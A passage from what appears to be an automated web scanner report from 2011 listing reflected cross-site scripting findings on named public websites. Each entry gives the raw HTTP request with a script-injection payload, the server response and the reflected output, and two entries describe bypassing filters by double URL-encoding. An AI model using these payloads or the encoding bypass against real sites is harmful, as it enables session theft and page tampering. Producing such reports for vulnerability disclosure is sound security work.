The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3197c"><a>1af48c031bb was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /3197c"><a>1af48c031bb HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.gather.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Sat, 02 Apr 2011 13:34:05 GMT
Server: Apache/2.2.3 (Unix) mod_jk/1.2.28
Set-Cookie: JSESSIONID=DA1461106BFAE965E4902BC6A28B47D8; Domain=.gather.com; Path=/
Set-Cookie: vis=UjjmQmSy0/vTCt18edV5yG7Hdy8T9xl9k7Es17tCqMMJpFjxuqlR5UcQ461iN1fmmD5JU4aHsvhJi8Y6SPee6UXzWH78Piq8kZfJO9L+2ZU=; Domain=gather.com; Expires=Fri, 28-Mar-2031 13:34:05 GMT; Path=/
P3P: policyref="http://ads.gather.com/w3c/p3p.xml", CP="PSAa PSDa ADMa DEVa OUR IND DSP NOI COR UNI NAV CURa COM INT"
Set-Cookie: vis=3O1JaJHhBrlqO2HsxQwvvNgk+Fv7TLiAn1BRbSOCyEOukF3ZG9POyIobiPsZ/q8ko5SAnn39resA8mu0ppEVBXCt9+uNQE6iPrjrPjwNPHYdyAEmmABmC03bbftbh5TG; Domain=gather.com; Expires=Fri, 28-Mar-2031 13:34:05 GMT; Path=/
P3P: policyref="http://ads.gather.com/w3c/p3p.xml", CP="PSAa PSDa ADMa DEVa OUR IND DSP NOI COR UNI NAV CURa COM INT"
Content-Length: 17459
Content-Type: text/html;charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">

...[SNIP]...
<meta name="keywordVal" content="3197c"><a>1af48c031bb" >
...[SNIP]...

6.50. http://www.gourmandia.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.gourmandia.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 98084"><script>alert(1)</script>c7f5e1781ab was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico98084"><script>alert(1)</script>c7f5e1781ab HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.gourmandia.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.0 404 Not Found
Date: Sat, 02 Apr 2011 13:57:51 GMT
Server: Apache
Set-Cookie: PHPSESSID=m5h7u4477a8qnj9sg8pmkq0895; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">

<head>
<title>4
...[SNIP]...
<form id="testform" action="/404.php/favicon.ico98084"><script>alert(1)</script>c7f5e1781ab" method="post">
...[SNIP]...

6.51. http://www.healthline.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.healthline.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6e4f5'%3bd3fe8a4b78d was submitted in the REST URL parameter 1. This input was echoed as 6e4f5';d3fe8a4b78d in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /favicon.ico6e4f5'%3bd3fe8a4b78d HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.healthline.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Server: Apache
P3P: CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Content-Type: text/html;charset=UTF-8
Date: Sat, 02 Apr 2011 13:41:46 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 51348


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<
...[SNIP]...
anguage="JavaScript" src="http://ad.doubleclick.net/adj/hn.us.hl.er.x.x.x/none' + btk1 + btk2 + ';kw=generalhealth;k1=none;k2=none;k3=health;pos=lb;ac=32688|32431|32457|35032|32461;pv=;url=/favicon.ico6e4f5';d3fe8a4b78d;type=top_rb;bf=no;tile=' + dfpTileIdx++ + ';sz=728x90;dcopt=ist;ord=' + hlnord + ';u=generalhealth|none|none|health|32688,32431,32457,35032,32461|lb||||/favicon.ico6e4f5';d3fe8a4b78d|top_rb||?" type="
...[SNIP]...

6.52. http://www.healthline.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.healthline.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7c252"%3b2599a835db0 was submitted in the REST URL parameter 1. This input was echoed as 7c252";2599a835db0 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /favicon.ico7c252"%3b2599a835db0 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.healthline.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Server: Apache
P3P: CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Content-Type: text/html;charset=UTF-8
Date: Sat, 02 Apr 2011 13:41:46 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 51348


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<
...[SNIP]...
cadc=0;var erpm=0;
/*var unicaEvents = new Array();
var unicaEventIdx = 0;*/
var g_cfn="generalhealth";
var g_cfn_bold = "generalhealth";
var g_encoded_uri = encodeURI("/favicon.ico7c252";2599a835db0");
</script>
...[SNIP]...

6.53. http://www.hollywood.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.hollywood.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2d966%2522%253balert%25281%2529%252f%252f0182ae2d622 was submitted in the REST URL parameter 1. This input was echoed as 2d966";alert(1)//0182ae2d622 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Request

GET /favicon.ico2d966%2522%253balert%25281%2529%252f%252f0182ae2d622 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.hollywood.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Date: Sat, 02 Apr 2011 13:35:12 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=zb0r3g55zp22f1foo3vkycei; path=/; HttpOnly
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 15980

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Hollywood.com </title>
<script type="text
...[SNIP]...
function _hbEvent(a,b){b=_hbE[_hbEC++]=new Object();b._N=a;b._C=0;return b;}
var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="h.hollywood.com";
hbx.acct="DM550817IOBZ38EN3";
hbx.pn="404/favicon.ico2d966";alert(1)//0182ae2d622";
hbx.mlc="Error";hbx.pndef="";hbx.ctdef="full";hbx.lt="auto";
hbx.dlf="n";
</script>
...[SNIP]...

6.54. http://www.inc.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.inc.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4b186"><script>alert(1)</script>7e885573fb4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico4b186"><script>alert(1)</script>7e885573fb4 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.inc.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Date: Sat, 02 Apr 2011 14:20:54 GMT
Server: VoxCAST
X-Powered-By: PHP/5.2.11
Content-Type: text/html; charset=UTF-8
X-Cache: MISS from VoxCAST
Content-Length: 40001

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en" xmlns:fb="h
...[SNIP]...
<input type="hidden" name="returl" value="http://www.inc.com/favicon.ico4b186"><script>alert(1)</script>7e885573fb4">
...[SNIP]...

6.55. http://www.instructables.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.instructables.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 492f7<script>alert(1)</script>1ee22699fd5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico492f7<script>alert(1)</script>1ee22699fd5 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.instructables.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Server: Resin/3.0.28
P3P: IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA
Cache-Control: no-cache
X-Cacheable: no-404
Content-Length: 17716
Date: Sat, 02 Apr 2011 13:37:19 GMT
X-Varnish: 4085213196
Age: 0
Via: 1.1 varnish
X-Cache-Svr: squid03.instructables.com
X-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.c
...[SNIP]...
<p>
  We're sorry, the URL http://www.instructables.com/favicon.ico492f7<script>alert(1)</script>1ee22699fd5 is either incorrect or no longer available. Maybe you are looking for one of the following Instructables below.
</p>
...[SNIP]...

6.56. http://www.kaboose.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.kaboose.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f4633</script><script>alert(1)</script>ef96f9ca301 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.icof4633</script><script>alert(1)</script>ef96f9ca301 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.kaboose.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Date: Sat, 02 Apr 2011 13:40:52 GMT
Server: Apache/2.2.11 (Unix) DAV/2 PHP/4.4.9
X-Powered-By: PHP/4.4.9
Set-Cookie: ad_types_404.html=itype%3DBanner2%26itype%3DSponsorLink2%26itype%3DSponsorLink1%26itype%3DRectangle2%26itype%3DSponsorFeature%26itype%3DRectangle%26itype%3DSponsorBar%26itype%3DSkyscraper-Left%26itype%3DSponsorLogo%26itype%3DPeelback2%26itype%3DOverPage%26itype%3DInterstitial%26itype%3DCatfish%26itype%3DPeelback%26itype%3DBanner; expires=Sat, 02 Apr 2011 13:44:52 GMT
Content-Type: text/html; charset=utf-8
X-UA-COMPATIBLE: IE=EmulateIE7
Content-Length: 86182

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<he
...[SNIP]...
<script type="text/javascript">
mboxCreate('KAB_Global_Mbox', "pageName=www.kaboose.com/favicon.icof4633</script><script>alert(1)</script>ef96f9ca301");
</script>
...[SNIP]...

6.57. http://www.letssingit.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.letssingit.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c0854"><script>alert(1)</script>62f1be08ee8 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.icoc0854"><script>alert(1)</script>62f1be08ee8 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.letssingit.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Date: Sat, 02 Apr 2011 13:59:11 GMT
Server: Apache/2.2.3 (Red Hat)
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Set-Cookie: country=us; expires=Monday, 02-May-2011 13:59:11 GMT;path=/; domain=.letssingit.com
Set-Cookie: language=en; expires=Monday, 02-May-2011 13:59:11 GMT;path=/; domain=.letssingit.com
Set-Cookie: session_views=1; path=/; domain=.letssingit.com
Vary: Accept-Encoding
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=iso-8859-1
Content-Length: 22702

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<HTML>
<HEAD>
<TITLE>Lyrics, albums, songs, artists and more music | LetsSingIt</TITLE>
<META http-equiv="content-type" content="tex
...[SNIP]...
<img src="http://b.scorecardresearch.com/p?c1=2&c2=6772046&c3=&c4=www.letssingit.com/favicon.icoc0854"><script>alert(1)</script>62f1be08ee8&c5=&c6=&c15=&cj=1"/>
...[SNIP]...

6.58. http://www.letssingit.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.letssingit.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cc674"-alert(1)-"1a90c41c69d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.icocc674"-alert(1)-"1a90c41c69d HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.letssingit.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Date: Sat, 02 Apr 2011 13:59:12 GMT
Server: Apache/2.2.3 (Red Hat)
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Set-Cookie: country=us; expires=Monday, 02-May-2011 13:59:12 GMT;path=/; domain=.letssingit.com
Set-Cookie: language=en; expires=Monday, 02-May-2011 13:59:12 GMT;path=/; domain=.letssingit.com
Set-Cookie: session_views=1; path=/; domain=.letssingit.com
Vary: Accept-Encoding
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=iso-8859-1
Content-Length: 22681

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<HTML>
<HEAD>
<TITLE>Lyrics, albums, songs, artists and more music | LetsSingIt</TITLE>
<META http-equiv="content-type" content="tex
...[SNIP]...
<script type="text/javascript">COMSCORE.beacon({c1:2,c2:"6772046",c3:"",c4:"www.letssingit.com/favicon.icocc674"-alert(1)-"1a90c41c69d",c5:"",c6:"",c15:""});</script>
...[SNIP]...

6.59. http://www.mainstreet.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.mainstreet.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f5ac2"><script>alert(1)</script>25e47d014c2 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.icof5ac2"><script>alert(1)</script>25e47d014c2 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.mainstreet.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Date: Sat, 02 Apr 2011 14:04:47 GMT
Server: Apache
Set-Cookie: SESS0e250a232fad80ec5d88c23e55d760d9=u0phpluvnnfdapsm79149neq37; expires=Mon, 25 Apr 2011 17:38:07 GMT; path=/; domain=.mainstreet.com
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Sat, 02 Apr 2011 14:04:47 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
X-Debug: msweb04
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 27823

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!--
Node type: site_content (4100)
Node title: 404 Page
Last Generated: 20110
...[SNIP]...
<link rel="canonical" href="http://www.mainstreet.com/favicon.icof5ac2"><script>alert(1)</script>25e47d014c2" />
...[SNIP]...

6.60. http://www.manta.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.manta.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload f6ae0<script>alert(1)</script>b625fad29ae was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.icof6ae0<script>alert(1)</script>b625fad29ae HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.manta.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 403 Access Denied
Server: nginx/0.7.62
Date: Sat, 02 Apr 2011 12:43:10 GMT
Content-Type: text/html
Connection: keep-alive
Vary: Accept-Encoding
Content-Length: 4714
X-Varnish: 2363475455
Via: 1.1 varnish
X-Served-By: ecnext42
X-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
<br>
Access Denied: http://www.manta.com/favicon.icof6ae0<script>alert(1)</script>b625fad29ae at Sat Apr 2 12:43:10 2011 +0000 from 173.193.214.243<br>
...[SNIP]...

6.61. http://www.manta.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.manta.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 56d5c"><script>alert(1)</script>8122b86cb15 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico56d5c"><script>alert(1)</script>8122b86cb15 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.manta.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 403 Access Denied
Server: nginx/0.7.62
Date: Sat, 02 Apr 2011 12:43:10 GMT
Content-Type: text/html
Connection: keep-alive
Vary: Accept-Encoding
Content-Length: 4718
X-Varnish: 2363475440
Via: 1.1 varnish
X-Served-By: ecnext42
X-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
<a href="mailto:webmaster@ecnext.com?subject=403 error&body=Access Denied: http://www.manta.com/favicon.ico56d5c"><script>alert(1)</script>8122b86cb15 at Sat Apr 2 12:43:10 2011 +0000 from 173.193.214.243">
...[SNIP]...

6.62. http://www.manta.com/favicon.ico [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.manta.com
Path:	/favicon.ico

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload b779f<script>alert(1)</script>fb24f2fd142 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico?b779f<script>alert(1)</script>fb24f2fd142=1 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.manta.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 403 Access Denied
Server: nginx/0.7.62
Date: Sat, 02 Apr 2011 12:42:43 GMT
Content-Type: text/html
Connection: keep-alive
Vary: Accept-Encoding
Content-Length: 4720
X-Varnish: 3115951942
Via: 1.1 varnish
X-Served-By: ecnext41
X-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
<br>
Access Denied: http://www.manta.com/favicon.ico?b779f<script>alert(1)</script>fb24f2fd142=1 at Sat Apr 2 12:42:43 2011 +0000 from 173.193.214.243<br>
...[SNIP]...

6.63. http://www.manta.com/favicon.ico [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.manta.com
Path:	/favicon.ico

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c655a"><script>alert(1)</script>db5a4dbfb1a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico?c655a"><script>alert(1)</script>db5a4dbfb1a=1 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.manta.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 403 Access Denied
Server: nginx/0.7.62
Date: Sat, 02 Apr 2011 12:42:43 GMT
Content-Type: text/html
Connection: keep-alive
Vary: Accept-Encoding
Content-Length: 4724
X-Varnish: 1295727862
Via: 1.1 varnish
X-Served-By: ecnext43
X-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
<a href="mailto:webmaster@ecnext.com?subject=403 error&body=Access Denied: http://www.manta.com/favicon.ico?c655a"><script>alert(1)</script>db5a4dbfb1a=1 at Sat Apr 2 12:42:43 2011 +0000 from 173.193.214.243">
...[SNIP]...

6.64. http://www.marthastewart.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.marthastewart.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4257a"-alert(1)-"d960cce6c75 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /4257a"-alert(1)-"d960cce6c75 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.marthastewart.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.2.13
Last-Modified: Sat, 02 Apr 2011 13:34:25 +0000
ETag: "1301751265"
Content-Type: text/html; charset=utf-8
X-Ttl: 14400.000
ntCoent-Length: 21362
X-Varnish: 1769286479
X-Req-Grace: 20.000
Cache-Control: private, max-age=0
Expires: Sat, 02 Apr 2011 13:34:26 GMT
Date: Sat, 02 Apr 2011 13:34:26 GMT
Content-Length: 21362
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">

...[SNIP]...
mniturePageName="page not found";
s.server="www.marthastewart.com";
s.pageType="";
s.prop1="";
s.prop3="";
s.prop4="channel";
s.prop5="";
s.prop6="";
s.prop7="";
s.prop12="http://www.marthastewart.com/4257a"-alert(1)-"d960cce6c75";
s.prop13="";
s.prop14="";
s.prop15="";
s.prop16="";
s.prop17="";
s.prop18="";
s.prop19="";
s.prop20="";
s.prop21="";
s.prop22="";
s.prop23="";
s.prop24="";
s.prop25="";
s.prop26="";
s.prop27="logged
...[SNIP]...

6.65. http://www.mayoclinic.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.mayoclinic.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e0c3e%2527%253balert%25281%2529%252f%252f0eb65c39a2 was submitted in the REST URL parameter 1. This input was echoed as e0c3e';alert(1)//0eb65c39a2 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Request

GET /favicon.icoe0c3e%2527%253balert%25281%2529%252f%252f0eb65c39a2 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.mayoclinic.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 file not found
Connection: close
Date: Sat, 02 Apr 2011 13:26:15 GMT
Server: Microsoft-IIS/6.0
Set-Cookie: CFID=6783630;domain=.mayoclinic.com;expires=Mon, 25-Mar-2041 13:26:15 GMT;path=/
Set-Cookie: CFTOKEN=43948287;domain=.mayoclinic.com;expires=Mon, 25-Mar-2041 13:26:15 GMT;path=/
Set-Cookie: JSESSIONID=c230d0ddc76e41291cab3c2c7e2138772567;path=/
Set-Cookie: CURRENTFARCRYPROJECT=dotcom;path=/
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html>
<head>

   <title>Page not found - MayoClinic.com</title>
   <meta name="description" conten
...[SNIP]...
';
   OAS_listpos = 'Bottom,Position4';
   OAS_query = 'E1ED5C92-F149-7785-66979D84200611F0=ObjectID&E1ED5C92-F149-7785-66979D84200611F0=pl&mcPage=type&404=ID&1?404;http://www.mayoclinic.com:80/favicon.icoe0c3e';alert(1)//0eb65c39a2=B404';
   OAS_target = '_top';
   //end of configuration
   OAS_version = 10;
   OAS_rn = '001234567890'; OAS_rns = '1234567890';
   OAS_rn = new String (Math.random()); OAS_rns = OAS_rn.substring (2, 11);
   fun
...[SNIP]...

